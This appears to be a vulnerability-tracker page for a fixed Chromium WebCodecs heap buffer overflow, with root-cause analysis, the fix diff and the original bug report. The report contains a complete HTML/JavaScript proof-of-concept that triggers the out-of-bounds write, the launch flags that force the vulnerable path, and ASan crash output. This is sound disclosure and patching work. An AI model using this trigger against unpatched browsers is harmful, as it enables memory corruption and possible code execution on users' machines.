Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactHeap buffer overflow in WebCodecs
DescriptionHeap buffer overflow in WebCodecs
ComponentWebCodecs
Bug ClassOOB
Tracker485683110
Fix commit72f220565650 (chromium/src) +4/-3
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-03

Background

WebCodecs
A Blink module that exposes low-level audio/video encode and decode primitives to JavaScript, including VideoFrame objects backed by GPU textures.
`BackgroundReadback`
The WebCodecs helper in background_readback.cc that copies a GPU-backed VideoFrame into CPU-accessible pixel memory (a GPU→CPU RGBA readback).
`coded_size` vs `visible_rect`
coded_size() is a frame’s full, padded/aligned buffer dimensions, while visible_rect() is the smaller cropped region actually meant to be displayed, at a possibly non-zero origin within the coded buffer.
`SkImageInfo`
A Skia descriptor (width, height, colorType) that determines how many rows and bytes a pixel operation reads or writes.

Root Cause Analysis

The vulnerable path is the RGBA readback in background_readback.cc, where GetImageInfoForFrame(*txt_frame, txt_frame->coded_size()) sized the destination SkImageInfo using the full coded_size(), while the readback source src_point was left at the default origin (0, 0) and the destination VideoFrame was allocated for the smaller visible_rect().

The invariant that was violated is that the number of rows/bytes described by the destination SkImageInfo must not exceed the capacity of the destination buffer that receives them. Because the write extent was computed from padded coded dimensions but the destination buffer was sized for the visible region, the copy wrote past the end of the allocation, a heap buffer overflow.

The fix rebuilds info from txt_frame->visible_rect().size() so the write extent matches the destination allocation, sets src_point to txt_frame->visible_rect().origin() so the correct cropped region is read from the source, and tightens the guard to compare max_bytes_written against the offset-adjusted dst_pixels.size() instead of the full dest_buffer.size(). Together these changes make the read region, the write extent, and the bounds check all consistent with the visible geometry, closing the overflow.

Key insight
The core mistake was sizing the readback’s write extent from the padded coded_size() while the destination buffer and offset were derived from the smaller visible_rect(), causing a geometry mismatch. The fix aligns all three — image info, source origin, and the bounds check — to visible_rect(), so the copy can never exceed the destination allocation.

Attack Path

  1. Craft a frame with padding An attacker supplies a video whose coded_size() is larger than its visible_rect(), i.e. a frame with meaningful coding padding or a non-zero visible origin.
  2. Route it through WebCodecs Script decodes or wraps the frame into a GPU-backed VideoFrame and triggers an RGBA readback that reaches BackgroundReadback.
  3. Trigger the oversized copy The readback builds SkImageInfo from coded_size(), so more rows/bytes are written than the visible_rect()-sized destination buffer holds.
  4. Overflow the heap The write runs past the end of the destination allocation, corrupting adjacent heap memory in the process performing the readback.

Impact Assessment

An attacker gains an out-of-bounds heap write whose extent is governed by the gap between coded_size() and visible_rect(), corrupting memory adjacent to the readback destination buffer. This occurs in the renderer/GPU-readback context that services WebCodecs, and can be leveraged toward memory corruption and potentially code execution. The precondition is that attacker-controlled media reaching the WebCodecs readback path has a coded size larger than its visible rectangle.

Files Changed

  • third_party/blink/renderer/modules/webcodecs/background_readback.cc

Audit Directions

  • Coded-vs-visible geometry
    Audit every GPU/CPU frame copy for places that size a write from coded_size() while the buffer or offset comes from visible_rect(); the two must be paired consistently.
  • Offset-relative bounds checks
    Whenever a span is narrowed with subspan(offset), verify subsequent size checks use the narrowed span (dst_pixels.size()), not the original full buffer (dest_buffer.size()).
  • Default-initialized source points
    Flag readback/blit paths where src_point or a crop origin is left at (0, 0) by default, since a frame with a non-zero visible_rect().origin() will otherwise read and write the wrong region.
From 72f220565650fc67e72f0e6c176177ad212b2a54 Mon Sep 17 00:00:00 2001
From: Eugene Zemtsov <eugene@chromium.org>
Date: Thu, 19 Feb 2026 19:28:39 -0800
Subject: [PATCH] media: Fix heap buffer overflow in WebCodecs BackgroundReadback

This fixes a mismatch between coded_size and visible_rect during GPU
readback. The code was writing the full coded size into a destination
pointer that was offset by the visible_rect origin, causing an
out-of-bounds write.

Bug: 485683110
Test: https://chromium-review.googlesource.com/c/chromium/src/+/5667032
Change-Id: I30e58c2f5f71a55d4e63eaa047b64f6b88904faa
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7596362
Reviewed-by: Thomas Guilbert <tguilbert@chromium.org>
Commit-Queue: Eugene Zemtsov <eugene@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1587594}
---

diff --git a/third_party/blink/renderer/modules/webcodecs/background_readback.cc b/third_party/blink/renderer/modules/webcodecs/background_readback.cc
index 19d1126..661ae87c 100644
--- a/third_party/blink/renderer/modules/webcodecs/background_readback.cc
+++ b/third_party/blink/renderer/modules/webcodecs/background_readback.cc
@@ -164,7 +164,8 @@
     ReadbackToFrameDoneCallback result_cb) {
   DCHECK(CanUseRgbReadback(*txt_frame));
 
-  SkImageInfo info = GetImageInfoForFrame(*txt_frame, txt_frame->coded_size());
+  SkImageInfo info =
+      GetImageInfoForFrame(*txt_frame, txt_frame->visible_rect().size());
   const auto format = media::VideoPixelFormatFromSkColorType(
       info.colorType(), media::IsOpaque(txt_frame->format()));
 
@@ -188,7 +189,7 @@
   int rgba_stide = result->stride(media::VideoFrame::Plane::kARGB);
   DCHECK_GT(rgba_stide, 0);
 
-  gfx::Point src_point;
+  gfx::Point src_point = txt_frame->visible_rect().origin();
   auto shared_image = txt_frame->shared_image();
   auto origin = shared_image->surface_origin();
   std::unique_ptr<gpu::RasterScopedAccess> ri_access =
@@ -250,7 +251,7 @@
 
   base::span<uint8_t> dst_pixels = dest_buffer.subspan(offset);
   size_t max_bytes_written = stride * src_rect.height();
-  if (stride <= 0 || max_bytes_written > dest_buffer.size()) {
+  if (stride <= 0 || max_bytes_written > dst_pixels.size()) {
     DLOG(ERROR) << "Buffer is not sufficiently large for readback";
     base::BindPostTaskToCurrentDefault(std::move(std::move(done_cb)))
         .Run(false);
Loading diff…

Original Bug Report

reported by je...@gmail.com

Heap Buffer Overflow in BackgroundReadback GPU Readback with Non-Zero visibleRect Offset Leads to Renderer Process Memory Corruption

Heap Buffer Overflow in BackgroundReadback GPU Readback with Non-Zero visibleRect Offset Leads to Renderer Process Memory Corruption

Summary

A heap buffer overflow vulnerability exists in the WebCodecs BackgroundReadback implementation where GPU pixel readback writes beyond allocated buffer boundaries when processing VideoFrames with non-zero visibleRect offsets. When a texture-backed VideoFrame with a non-zero visible region origin is encoded through VideoEncoder, the BackgroundReadback path incorrectly computes the destination buffer pointer using GetWritableVisiblePlaneData while computing the write size based on the full coded_size. This mismatch causes the GPU readback to write coded_size bytes starting from an offset position within the buffer, resulting in a heap buffer overflow of up to (visibleRect.y × stride + visibleRect.x × bytesPerPixel) bytes past the allocation end. An attacker can trigger this vulnerability from JavaScript by creating a WebGL canvas-backed VideoFrame with specific visibleRect parameters and encoding it, potentially achieving arbitrary code execution in the renderer process.

Root Cause

The vulnerability resides in the BackgroundReadback::ReadbackRGBTextureBackedFrameToMemory function which handles asynchronous GPU texture readback for RGB-format VideoFrames. The function creates a result frame using the source frame’s coded_size and visible_rect, then obtains a destination buffer pointer via GetWritableVisiblePlaneData. This method returns a pointer offset into the plane buffer corresponding to the visible_rect origin position. However, the SkImageInfo passed to the GPU readback operation is constructed using the full coded_size, and the source read starts at point (0,0).

// third_party/blink/renderer/modules/webcodecs/background_readback.cc
void BackgroundReadback::ReadbackRGBTextureBackedFrameToMemory(
    scoped_refptr<media::VideoFrame> txt_frame,
    ReadbackToFrameDoneCallback result_cb) {
  DCHECK(CanUseRgbReadback(*txt_frame));

  SkImageInfo info = GetImageInfoForFrame(*txt_frame, txt_frame->coded_size());
  const auto format = media::VideoPixelFormatFromSkColorType(
      info.colorType(), media::IsOpaque(txt_frame->format()));

  auto result = result_frame_pool_.CreateFrame(
      format, txt_frame->coded_size(), txt_frame->visible_rect(),
      txt_frame->natural_size(), txt_frame->timestamp());

  // ... context checks ...

  base::span<uint8_t> dst_pixels =
      result->GetWritableVisiblePlaneData(media::VideoFrame::Plane::kARGB);
  int rgba_stide = result->stride(media::VideoFrame::Plane::kARGB);

  gfx::Point src_point;  // Default (0,0)
  // ...

  ri->ReadbackARGBPixelsAsync(
      shared_image->mailbox(), shared_image->GetTextureTarget(), origin,
      texture_size, src_point, info, base::saturated_cast<GLuint>(rgba_stide),
      dst_pixels,
      blink::BindOnce(&BackgroundReadback::OnARGBPixelsFrameReadCompleted,
                      WrapWeakPersistent(this), std::move(result_cb), txt_frame,
                      std::move(result)));
}

The GetWritableVisiblePlaneData method computes the visible region offset and returns a pointer starting at that position within the allocated buffer.

// media/base/video_frame.cc
base::span<uint8_t> VideoFrame::GetWritableVisiblePlaneData(size_t plane) {
  CHECK_NE(storage_type_, STORAGE_SHMEM);
  auto const_span = data_[plane];
  auto non_const_span = UNSAFE_BUFFERS(base::span(
      const_cast<uint8_t*>(const_span.data()), const_span.size()));
  return GetVisibleDataInternal(non_const_span, plane);
}

The GetVisibleDataInternal method offsets the pointer based on visible_rect().origin(), returning a span that starts at (visible_rect.y * stride + visible_rect.x * bytes_per_pixel) bytes into the actual allocation.

When the GPU readback completes, RasterImplementation::OnAsyncARGBReadbackDone performs the actual memory copy. The destination size is computed from dst_info which was constructed using coded_size, not the visible region size.

// gpu/command_buffer/client/raster_implementation.cc
void RasterImplementation::OnAsyncARGBReadbackDone(
    AsyncARGBReadbackRequest* finished_request) {
  // ...
  while (!argb_request_queue_.empty()) {
    auto& request = argb_request_queue_.front();
    if (!request->done) {
      break;
    }

    auto* result = static_cast<cmds::ReadbackARGBImagePixelsINTERNALImmediate::Result*>(
            request->shared_memory->address());
    if (*result) {
      size_t plane_size = request->dst_size;  // Based on coded_size
      auto dst = UNSAFE_TODO(base::span<uint8_t>(
          static_cast<uint8_t*>(request->dst_pixels.get()), plane_size));
      auto src = UNSAFE_TODO(base::span<uint8_t>(
          static_cast<uint8_t*>(request->shared_memory->address()) +
              request->pixels_offset,
          plane_size));
      base::subtle::RelaxedAtomicWriteMemcpy(dst, src);  // OOB WRITE HERE
      request->readback_successful = true;
    }
    // ...
  }
}

The dst_size is computed in ReadbackImagePixelsINTERNAL as dst_info.computeByteSize(dst_row_bytes), which equals coded_width × coded_height × 4 bytes for RGBA. Since dst_pixels points to an offset location within the buffer, writing coded_size bytes from that position overflows past the buffer’s end by exactly the offset amount.

For a frame with coded_size of 640×480 and visible_rect starting at (64, 64), the overflow is calculated as: 64 rows × 640 pixels × 4 bytes + 64 pixels × 4 bytes = 164,096 bytes written past the allocation boundary.

The vulnerability can be triggered when the GpuMemoryBuffer accelerated readback path is unavailable, forcing the code to use BackgroundReadback. This occurs on Android by default where kGpuMemoryBufferReadbackFromTexture is disabled, or on other platforms when the feature is explicitly disabled or when the accelerated path fails.

Reproduce

The following HTML file demonstrates the vulnerability. It creates texture-backed VideoFrames using WebGL canvases with non-zero visibleRect offsets and encodes them through VideoEncoder, triggering the vulnerable BackgroundReadback path.

<!DOCTYPE html>
<html>
<head>
  <title>BackgroundReadback OOB Write PoC</title>
  <style>
    body { font-family: monospace; background: #1a1a2e; color: #eee; padding: 20px; }
    .info { color: #0ff; }
    .warn { color: #ff0; }
    .error { color: #f00; }
    .success { color: #0f0; }
    pre { background: #16213e; padding: 10px; border-radius: 5px; overflow-x: auto; }
    canvas { border: 1px solid #333; margin: 5px; }
  </style>
</head>
<body>
  <h2>CVE PoC: BackgroundReadback OOB Write</h2>
  <p class="info">Vulnerability: GetWritableVisiblePlaneData returns offset pointer, but readback uses coded_size</p>
  <pre id="log"></pre>
  <div id="canvases"></div>

<script>
const log = document.getElementById('log');
const canvasDiv = document.getElementById('canvases');

function print(msg, cls = '') {
  const line = document.createElement('div');
  line.className = cls;
  line.textContent = `[${new Date().toISOString().slice(11,23)}] ${msg}`;
  log.appendChild(line);
  console.log(msg);
}

async function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}

function createTextureBackedFrame(width, height, visibleRect) {
  const canvas = document.createElement('canvas');
  canvas.width = width;
  canvas.height = height;

  const gl = canvas.getContext('webgl2', {
    preserveDrawingBuffer: true,
    antialias: false
  });

  if (!gl) {
    throw new Error('WebGL2 not supported');
  }

  gl.clearColor(1.0, 0.0, 0.0, 1.0);
  gl.clear(gl.COLOR_BUFFER_BIT);

  const vs = `#version 300 es
    in vec2 pos;
    out vec2 uv;
    void main() {
      uv = pos * 0.5 + 0.5;
      gl_Position = vec4(pos, 0.0, 1.0);
    }
  `;

  const fs = `#version 300 es
    precision highp float;
    in vec2 uv;
    out vec4 color;
    void main() {
      color = vec4(uv.x, uv.y, 0.5, 1.0);
    }
  `;

  function compileShader(src, type) {
    const s = gl.createShader(type);
    gl.shaderSource(s, src);
    gl.compileShader(s);
    if (!gl.getShaderParameter(s, gl.COMPILE_STATUS)) {
      throw new Error(gl.getShaderInfoLog(s));
    }
    return s;
  }

  const prog = gl.createProgram();
  gl.attachShader(prog, compileShader(vs, gl.VERTEX_SHADER));
  gl.attachShader(prog, compileShader(fs, gl.FRAGMENT_SHADER));
  gl.linkProgram(prog);
  gl.useProgram(prog);

  const buf = gl.createBuffer();
  gl.bindBuffer(gl.ARRAY_BUFFER, buf);
  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([-1,-1, 1,-1, -1,1, 1,1]), gl.STATIC_DRAW);

  const posLoc = gl.getAttribLocation(prog, 'pos');
  gl.enableVertexAttribArray(posLoc);
  gl.vertexAttribPointer(posLoc, 2, gl.FLOAT, false, 0, 0);
  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
  gl.finish();

  canvasDiv.appendChild(canvas);

  const frame = new VideoFrame(canvas, {
    timestamp: performance.now() * 1000,
    visibleRect: visibleRect
  });

  return frame;
}

async function triggerVulnerability() {
  print('=== BackgroundReadback OOB Write PoC ===', 'info');
  print('Target: ReadbackRGBTextureBackedFrameToMemory', 'info');
  print('');

  if (typeof VideoEncoder === 'undefined') {
    print('VideoEncoder not supported', 'error');
    return;
  }

  const codedWidth = 640;
  const codedHeight = 480;

  const visibleX = 64;
  const visibleY = 64;
  const visibleWidth = codedWidth - visibleX;
  const visibleHeight = codedHeight - visibleY;

  print(`Coded size: ${codedWidth}x${codedHeight}`, 'info');
  print(`Visible rect: x=${visibleX}, y=${visibleY}, w=${visibleWidth}, h=${visibleHeight}`, 'warn');
  print('');

  const bytesPerPixel = 4;
  const stride = codedWidth * bytesPerPixel;
  const codedBytes = codedWidth * codedHeight * bytesPerPixel;
  const visibleStartOffset = (visibleY * stride) + (visibleX * bytesPerPixel);
  const oobBytes = visibleStartOffset;

  print(`Expected memory layout:`, 'info');
  print(`  Coded buffer size: ${codedBytes} bytes`, 'info');
  print(`  Visible buffer starts at offset: ${visibleStartOffset} bytes into coded buffer`, 'warn');
  print(`  GPU readback will write ${codedBytes} bytes from visible start`, 'warn');
  print(`  OOB write size: ${oobBytes} bytes past allocation end`, 'error');
  print('');

  let encodeCount = 0;
  let errorOccurred = false;

  const encoder = new VideoEncoder({
    output: (chunk, meta) => {
      print(`Encoded chunk ${encodeCount}: ${chunk.byteLength} bytes, type=${chunk.type}`, 'success');
    },
    error: (e) => {
      print(`Encoder error: ${e.message}`, 'error');
      errorOccurred = true;
    }
  });

  const codecConfigs = [
    { codec: 'avc1.42E01E', avc: { format: 'annexb' } },
    { codec: 'vp8' },
    { codec: 'vp09.00.10.08' },
  ];

  let configuredCodec = null;

  for (const codecConfig of codecConfigs) {
    try {
      const support = await VideoEncoder.isConfigSupported({
        ...codecConfig,
        width: visibleWidth,
        height: visibleHeight,
        bitrate: 1_000_000,
        framerate: 30,
      });

      if (support.supported) {
        configuredCodec = codecConfig;
        break;
      }
    } catch (e) {
      continue;
    }
  }

  if (!configuredCodec) {
    print('No supported video codec found', 'error');
    return;
  }

  print(`Using codec: ${configuredCodec.codec}`, 'info');

  encoder.configure({
    ...configuredCodec,
    width: visibleWidth,
    height: visibleHeight,
    bitrate: 1_000_000,
    framerate: 30,
  });

  print('Encoder configured, creating texture-backed frames...', 'info');
  print('');

  const frameCount = 10;

  for (let i = 0; i < frameCount && !errorOccurred; i++) {
    try {
      const visibleRect = {
        x: visibleX,
        y: visibleY,
        width: visibleWidth,
        height: visibleHeight
      };

      const frame = createTextureBackedFrame(codedWidth, codedHeight, visibleRect);

      print(`Frame ${i}: format=${frame.format}, coded=${frame.codedWidth}x${frame.codedHeight}, ` +
            `visible=(${frame.visibleRect.x},${frame.visibleRect.y},${frame.visibleRect.width}x${frame.visibleRect.height})`, 'info');

      if (frame.visibleRect.x === 0 && frame.visibleRect.y === 0) {
        print('WARNING: visibleRect offset is zero, vulnerability may not trigger', 'warn');
      }

      encoder.encode(frame, { keyFrame: i === 0 });
      encodeCount++;
      frame.close();

      await sleep(50);

    } catch (e) {
      print(`Frame ${i} error: ${e.message}`, 'error');
    }
  }

  print('', 'info');
  print('Flushing encoder...', 'info');

  try {
    await encoder.flush();
    print('Flush completed', 'success');
  } catch (e) {
    print(`Flush error: ${e.message}`, 'error');
  }

  encoder.close();

  print('', 'info');
  print('=== PoC Execution Complete ===', 'info');
  print('', 'info');
  print('If running under ASan, check for heap-buffer-overflow errors.', 'warn');
  print('The crash should occur in RelaxedAtomicWriteMemcpy during GPU readback.', 'warn');
  print(`Summary: Frames encoded: ${encodeCount}, Codec: ${configuredCodec.codec}, OOB potential: ${oobBytes} bytes`, 'info');
}

triggerVulnerability().catch(e => print(`Fatal error: ${e.message}`, 'error'));
</script>
</body>
</html>

Save the above HTML as poc_background_readback_oob.html in the Chromium source directory. Execute the PoC with an ASan-instrumented Chrome build using the following command.

ASAN_OPTIONS="detect_odr_violation=0" timeout 180 ./out/asan-release/chrome \
    --no-sandbox \
    --user-data-dir=/tmp/poc_test \
    --disable-features=GpuMemoryBufferReadbackFromTexture \
    --enable-logging=stderr \
    file:///path/to/poc_background_readback_oob.html 2>&1 | tee poc.log

The critical flag is --disable-features=GpuMemoryBufferReadbackFromTexture which forces Chrome to use the vulnerable BackgroundReadback path instead of the accelerated GPU memory buffer path. The timeout should be set to at least 180 seconds as video encoder initialization requires time to complete.

On Android, this flag is not required because kGpuMemoryBufferReadbackFromTexture is disabled by default, as shown in the following code.

// third_party/blink/renderer/platform/graphics/web_graphics_context_3d_video_frame_pool.cc:340-347
BASE_FEATURE(kGpuMemoryBufferReadbackFromTexture,
#if BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN) || BUILDFLAG(IS_CHROMEOS) || \
    BUILDFLAG(IS_LINUX)
             base::FEATURE_ENABLED_BY_DEFAULT
#else
             base::FEATURE_DISABLED_BY_DEFAULT  // Android falls here
#endif
);

On Android, simply host the PoC and navigate to it in Chrome without any special flags.

The ASan output confirms the heap buffer overflow vulnerability:

[428355:428355:0219/145012.495630:INFO:CONSOLE:30] "Frame 0: format=RGBA, coded=640x480, visible=(64,64,576x416)", source: file:///home/user/chromium/src/poc_background_readback_oob.html (30)
[428355:428355:0219/145012.830873:INFO:CONSOLE:30] "Frame 1: format=RGBA, coded=640x480, visible=(64,64,576x416)", source: file:///home/user/chromium/src/poc_background_readback_oob.html (30)
==428434==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8243753838 at pc 0x7f874f571a4b bp 0x7ffc28f11750 sp 0x7ffc28f11748
WRITE of size 8 at 0x7b8243753838 thread T0 (chrome)
SCARINESS: 42 (8-byte-write-heap-buffer-overflow)
    #0 0x7f874f571a4a in base::subtle::RelaxedAtomicWriteMemcpy(base::span<unsigned char, 18446744073709551615ul, unsigned char*>, base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>) gen/third_party/libc++/src/include/__atomic/atomic_ref.h:132:5
    #1 0x7f86f829b0f6 in gpu::raster::RasterImplementation::OnAsyncARGBReadbackDone(gpu::raster::RasterImplementation::AsyncARGBReadbackRequest*) gpu/command_buffer/client/raster_implementation.cc:1573:7
    #2 0x7f86f82ad1da in void base::internal::Invoker<...>::RunImpl<...>(...) base/functional/bind_internal.h:740:12
    #3 0x7f86e1db1692 in gpu::ImplementationBase::RunIfContextNotLost(base::OnceCallback<void ()>) base/functional/callback.h:155:12
    #4 0x7f86e1db806f in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #5 0x7f870298abea in gpu::CommandBufferProxyImpl::OnSignalAck(unsigned int, gpu::CommandBuffer::State const&) base/functional/callback.h:155:12
    #6 0x7f873c363020 in gpu::mojom::CommandBufferClientStubDispatch::Accept(gpu::mojom::CommandBufferClient*, mojo::Message*) gen/gpu/ipc/common/gpu_channel.mojom.cc:6448:13
    #7 0x7f8750c882f2 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
    #8 0x7f8750c9f69b in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
    #9 0x7f8750c8dba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #10 0x7f873c28bbe7 in IPC::ChannelAssociatedGroupController::AcceptOnEndpointThread(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1199:24
    #11 0x7f873c28dead in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #12 0x7f874f760c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #13 0x7f874f7e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #14 0x7f874f7e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40

allocated by thread T0 (chrome) here:
    #0 0x55a9753c09e2 in calloc (/home/user/chromium/src/out/asan-release/chrome+0x67eb9e2) (BuildId: 47eda46dea50c1e4)
    #1 0x7f874f8e724d in base::UncheckedCalloc(unsigned long, unsigned long, void**) base/process/memory_linux.cc:120:13
    #2 0x7f8739ca6aee in media::VideoFrame::AllocateMemory(bool) media/base/video_frame.cc:1713:10
    #3 0x7f8739ca6585 in media::VideoFrame::CreateFrameWithLayout(media::VideoFrameLayout const&, gfx::Rect const&, gfx::Size const&, base::TimeDelta, bool) media/base/video_frame.cc:1686:17
    #4 0x7f8739c95997 in media::VideoFrame::CreateFrameInternal(media::VideoPixelFormat, gfx::Size const&, gfx::Rect const&, gfx::Size const&, base::TimeDelta, bool) media/base/video_frame.cc:1664:10
    #5 0x7f8739cb6036 in media::VideoFramePool::PoolImpl::CreateFrame(media::VideoPixelFormat, gfx::Size const&, gfx::Rect const&, gfx::Size const&, base::TimeDelta) media/base/video_frame_pool.cc:107:13
    #6 0x7f86e77b37de in blink::BackgroundReadback::ReadbackRGBTextureBackedFrameToMemory(scoped_refptr<media::VideoFrame>, base::OnceCallback<void (scoped_refptr<media::VideoFrame>)>) third_party/blink/renderer/modules/webcodecs/background_readback.cc:171:36
    #7 0x7f86e77b323f in blink::BackgroundReadback::ReadbackTextureBackedFrameToMemoryFrame(scoped_refptr<media::VideoFrame>, base::OnceCallback<void (scoped_refptr<media::VideoFrame>)>) third_party/blink/renderer/modules/webcodecs/background_readback.cc:112:5
    #8 0x7f86e78877a7 in blink::VideoEncoder::StartReadback(scoped_refptr<media::VideoFrame>, base::OnceCallback<void (scoped_refptr<media::VideoFrame>)>) third_party/blink/renderer/modules/webcodecs/video_encoder.cc:1018:27
    #9 0x7f86e7889f4a in blink::VideoEncoder::ProcessEncode(blink::EncoderBase<blink::VideoEncoderTraits>::Request*) third_party/blink/renderer/modules/webcodecs/video_encoder.cc:1120:9
    #10 0x7f86e7811e3c in blink::EncoderBase<blink::VideoEncoderTraits>::ProcessRequests() third_party/blink/renderer/modules/webcodecs/encoder_base.cc
    #11 0x7f86e7896225 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) third_party/blink/renderer/modules/webcodecs/video_encoder.cc:844:11
    #12 0x7f8739b628ca in void base::internal::DecayedFunctorTraits<...>::Invoke<...>(...) base/functional/callback.h:155:12
    #13 0x7f8739b6269a in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:932:12
    #14 0x7f874f760c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #15 0x7f874f7e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #16 0x7f874f7e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #17 0x7f874f6033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #18 0x7f874f7e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
    #19 0x7f874f6cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #20 0x7f87453ff0a5 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:364:16
    #21 0x7f87458316e7 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
    #22 0x7f87458328ae in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:771:12
    #23 0x7f8745834e0a in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1150:10
    #24 0x7f874582f593 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
    #25 0x7f874582f91a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
    #26 0x55a9753fb9f5 in ChromeMain chrome/app/chrome_main.cc:191:12
    #27 0x7f86df029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow gen/third_party/libc++/src/include/__atomic/atomic_ref.h:132:5 in base::subtle::RelaxedAtomicWriteMemcpy(base::span<unsigned char, 18446744073709551615ul, unsigned char*>, base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>)

The crash trace confirms the vulnerability path: VideoEncoder::ProcessEncode calls StartReadback which invokes BackgroundReadback::ReadbackRGBTextureBackedFrameToMemory. The VideoFrame is allocated at that point with the visible_rect offset. When the GPU readback completes asynchronously, RasterImplementation::OnAsyncARGBReadbackDone triggers RelaxedAtomicWriteMemcpy which writes beyond the buffer boundary, causing the heap buffer overflow.

View on issue tracker